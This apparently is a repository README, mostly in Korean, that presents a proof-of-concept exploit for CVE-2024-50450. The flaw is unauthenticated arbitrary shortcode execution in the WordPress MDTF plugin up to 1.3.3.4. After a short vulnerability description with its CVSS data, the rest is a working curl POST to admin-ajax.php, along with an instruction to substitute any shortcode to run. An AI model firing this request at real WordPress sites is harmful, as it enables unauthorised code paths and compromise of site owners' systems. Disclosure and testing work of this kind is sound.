randomrobbiebf/cve-2024-50450WordPress Meta Data and Taxonomies Filter (MDTF) <= 1.3.3.4 - 인증되지 않은 임의의 숏코드 실행
WordPress Meta Data and Taxonomies Filter (MDTF) <= 1.3.3.4 - 인증되지 않은 임의의 단축코드 실행
The MDTF – Meta Data and Taxonomies Filter 플러그인은 최신 버전 1.3.3.4를 포함한 모든 버전에서 임의의 단축코드 실행에 취약합니다. 이는 소프트웨어가 do_shortcode를 실행하기 전에 값을 제대로 검증하지 않는 액션을 사용자가 실행할 수 있도록 허용하기 때문입니다. 이로 인해 인증되지 않은 공격자가 임의의 단축코드를 실행할 수 있습니다.
Published: 2024-10-24 00:00:00
CVE: CVE-2024-50450
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
CVSS 점수: 7.3
슬러그: wp-meta-data-filter-and-taxonomy-filter
실행하려는 단축 코드로 [contact_7]을 변경하세요.
curl -X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=mdf_get_ajax_auto_recount_data" \
-d "mdf_front_qtrans_lang=en" \
-d "mdf_front_wpml_lang=en" \
-d "mdf_is_search_going=1" \
-d "mdf_tmp_order=asc" \
-d "mdf_tmp_orderby=date" \
-d "no_wp_die=true" \
-d "mdf_ajax_request=true" \
-d "mdf_cat=category_slug" \
-d "page_mdf=1" \
-d "slug=page_slug" \
-d "type=shortcode" \
-d "shortcode_id=shortcode_id_value" \
-d "mdf_ajax_content_redraw=true" \
-d "shortcode_txt=[contact_7]" \
http://kubernetes.docker.internal/wp-admin/admin-ajax.php